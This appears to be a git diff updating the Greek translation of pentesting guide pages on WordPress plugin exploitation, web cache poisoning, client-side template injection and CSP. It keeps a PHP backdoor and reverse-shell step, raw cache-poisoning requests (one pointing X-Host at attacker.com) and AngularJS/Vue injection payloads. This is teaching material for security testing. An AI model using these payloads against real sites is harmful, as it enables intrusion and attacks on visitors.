@@ to get a session. ### PHP plugin Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\ -Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα: +Δημιουργήστε την php backdoor σας χρησιμοποιώντας για παράδειγμα: ![](<../../images/image (183).png>) @@ -289,7 +289,7 @@ to get a session. ![](<../../images/image (462).png>) -Αποκτήστε πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell: +Αποκτήστε πρόσβαση σε αυτό και θα δείτε τη διεύθυνση URL για να εκτελέσετε το reverse shell: ![](<../../images/image (1006).png>) @@ -305,7 +305,7 @@ to get a session. 4. **Exploitation**: - Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο. - Το Metasploit framework παρέχει μια εκμετάλλευση για αυτήν την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια συνεδρία meterpreter, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο. -- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για την εκμετάλλευση ενός ιστότοπου WordPress. +- Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για να εκμεταλλευτείτε έναν ιστότοπο WordPress. Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στον πίνακα ελέγχου του WordPress για την εγκατάσταση και την ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως η διείσδυση με ρητή άδεια. @@ -334,11 +334,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -Η γνώση του πώς ένα plugin του Wordpress μπορεί να εκθέσει λειτουργικότητα είναι το κλειδί για να βρείτε ευπάθειες στη λειτουργικότητά του. Μπορείτε να βρείτε πώς ένα plugin μπορεί να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευάλωτων plugins σε [**αυτή την ανάρτηση του blog**](https://nowotarski.info/wordpress-nonce-authorization/). +Η γνώση του πώς ένα plugin του Wordpress μπορεί να εκθέσει λειτουργικότητα είναι το κλειδί για να βρείτε ευπάθειες στη λειτουργικότητά του. Μπορείτε να βρείτε πώς ένα plugin μπορεί να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευάλωτων plugins σε [**αυτή την ανάρτηση στο blog**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι κάπως συχνό αυτά τα functions να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). +Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του). Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin: ```php @@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας μια rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: +Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -364,11 +364,11 @@ $this->namespace, '/get/', array( ``` Ο `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας συγκεκριμένος χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API. -**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.** +**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλώς θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.** - **Άμεση πρόσβαση στο αρχείο php** -Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλά με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη. +Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη. ## Προστασία WordPress diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 1fbf89bd6..5fe5794ce 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -11,13 +11,13 @@ ## Cache Poisoning -Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache. +Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς του πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίπτωσης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache. Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα: 1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache. 2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. -3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης που έχει πρόσβαση στη μολυσμένη σελίδα κατά την περίοδο δηλητηρίασης της μνήμης cache θα λάβει την μολυσμένη απάντηση. +3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης που έχει πρόσβαση στη μολυσμένη σελίδα κατά την περίοδο μόλυνσης της μνήμης cache θα λάβει την μολυσμένη απάντηση. ### Discovery: Check HTTP headers @@ -38,25 +38,25 @@ cache-poisoning-to-dos.md ### Discovery: Identify and evaluate unkeyed inputs Μπορείτε να χρησιμοποιήσετε [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **επιτεθείτε σε παραμέτρους και κεφαλίδες** που μπορεί να **αλλάζουν την απάντηση της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί την κεφαλίδα `X-Forwarded-For` για να υποδείξει στον πελάτη να φορτώσει το σενάριο από εκεί: -```markup +```html ``` ### Εξαγωγή επιβλαβούς απάντησης από τον διακομιστή back-end -Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς **καθαρίζεται** και **πού** **αντικατοπτρίζεται** ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με οποιονδήποτε τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...) +Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς **καθαρίζεται** και **πού** **αντικατοπτρίζεται** ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με κάποιον τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...) ### Λάβετε την απάντηση που έχει αποθηκευτεί στην κρυφή μνήμη Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα αποθηκευμένη στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα. -Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν έχει αποθηκευτεί στην κρυφή μνήμη και την τιμή **`hit`** όταν είναι αποθηκευμένο.\ +Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν αποθηκεύτηκε στην κρυφή μνήμη και την τιμή **`hit`** όταν είναι αποθηκευμένο.\ Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην κρυφή μνήμη και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800` Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει πρόσθετες κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της κρυφής μνήμης** ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να δηλητηριάσει την κρυφή μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`. Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης. -Κατά την αποθήκευση ενός αιτήματος στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. +Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. ## Παραδείγματα Εκμετάλλευσης @@ -64,7 +64,7 @@ cache-poisoning-to-dos.md Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\ Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -77,10 +77,10 @@ _Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτ cache-poisoning-to-dos.md {{#endref}} -### Χρησιμοποιώντας τη δηλητηρίαση cache του ιστού για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookies +### Χρησιμοποιώντας τη δηλητηρίαση web cache για να εκμεταλλευτείτε ευπάθειες διαχείρισης cookie -Τα cookies θα μπορούσαν επίσης να αντικατοπτρίζονται στην απόκριση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απόκριση cache. -```markup +Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απόκριση cache. +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" @@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md ### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης web cache Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα τομέα για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης. -```markup +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### Εκμετάλλευση με περιορισμένο `Vary` header Αν διαπιστώσετε ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα τομέα για τη φόρτωση ενός JS πόρου** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent`**. Τότε, πρέπει να βρείτε έναν τρόπο να εξάγετε το User-Agent του θύματος και να δηλητηριάσετε την cache χρησιμοποιώντας αυτό το user agent: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -Στείλτε ένα αίτημα GET με το αίτημα στο URL και στο σώμα. Αν ο διακομιστής ιστού χρησιμοποιεί αυτό από το σώμα αλλά ο διακομιστής cache αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github: +Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -168,11 +168,11 @@ Example usage: `wcvs -u example.com` ### Rack Middleware (Ruby on Rails) -Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. +Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το scheme του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. ### 403 and Storage Buckets -Η Cloudflare προηγουμένως αποθήκευε 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες Authorization θα είχε ως αποτέλεσμα μια 403 απόκριση που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 responses, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy. +Η Cloudflare προηγουμένως αποθήκευε 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες Authorization θα είχε ως αποτέλεσμα μια 403 response που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 responses, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy. ### Injecting Keyed Parameters @@ -184,7 +184,7 @@ Example usage: `wcvs -u example.com` ### Illegal Header Fields -Η [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα κεφαλίδων. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα έπρεπε ιδανικά να προκαλούν μια 400 Bad Request response. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, αρκεί να μην είναι παρούσα η κεφαλίδα `cache-control`. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +Η [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα κεφαλίδων. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα έπρεπε ιδανικά να προκαλούν μια 400 Bad Request response. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 error, αρκεί να μην είναι παρούσα η κεφαλίδα `cache-control`. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. ### Finding new headers @@ -215,7 +215,7 @@ Example usage: `wcvs -u example.com` ## Automatic Tools -- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρείτε ευπάθειες web cache poisoning σε μια λίστα URL και να δοκιμάσετε πολλές τεχνικές έγχυσης. +- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner σε Golang για να βρείτε ευπάθειες web cache poisoning σε μια λίστα URL και να δοκιμάσετε πολλές τεχνικές έγχυσης. ## References diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 79e8f88d8..834690af5 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,15 +4,15 @@ ## Summary -Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) αλλά στον **πελάτη**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος. +Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) αλλά στην **πελάτη**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος. -**Η δοκιμή** για αυτήν την ευπάθεια είναι πολύ **παρόμοια** με την περίπτωση του **SSTI**, ο διερμηνέας αναμένει **ένα πρότυπο** και θα το εκτελέσει. Για παράδειγμα, με ένα payload όπως `{{ 7-7 }}`, αν η εφαρμογή είναι **ευάλωτη** θα δείτε ένα `0`, και αν όχι, θα δείτε το αρχικό: `{{ 7-7 }}` +**Δοκιμή** για αυτήν την ευπάθεια είναι πολύ **παρόμοια** με την περίπτωση του **SSTI**, ο διερμηνέας αναμένει **ένα πρότυπο** και θα το εκτελέσει. Για παράδειγμα, με ένα payload όπως `{{ 7-7 }}`, αν η εφαρμογή είναι **ευάλωτη** θα δείτε ένα `0`, και αν όχι, θα δείτε το αρχικό: `{{ 7-7 }}` ## AngularJS -Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία από τις οποίες είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες. +Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως directives, ένα αξιοσημείωτο είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες. -Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετοι JavaScript κώδικες. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας: +Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -27,11 +27,11 @@ ## VueJS -Μπορείτε να βρείτε μια **ευάλωτη υλοποίηση Vue** στο [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ +Μπορείτε να βρείτε μια **ευάλωτη** υλοποίηση του Vue στο [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Λειτουργικό payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() -Και ο **πηγαίος κώδικας** του ευάλωτου παραδείγματος εδώ: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +Και ο **κώδικας πηγής** του ευάλωτου παραδείγματος εδώ: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) +```html ">
aaa
``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 0d285480d..e4792d759 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## What is CSP +## Τι είναι το CSP -Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και την εκτέλεση κώδικα συμβολοσειράς μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`. +Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως μια τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`. Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους όρους και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις. @@ -41,7 +41,7 @@ object-src 'none'; - **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets. - **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch. -- **child-src**: Προσδιορίζει επιτρεπόμενους πόρους για web workers και περιεχόμενα ενσωματωμένων πλαισίων. +- **child-src**: Προσδιορίζει 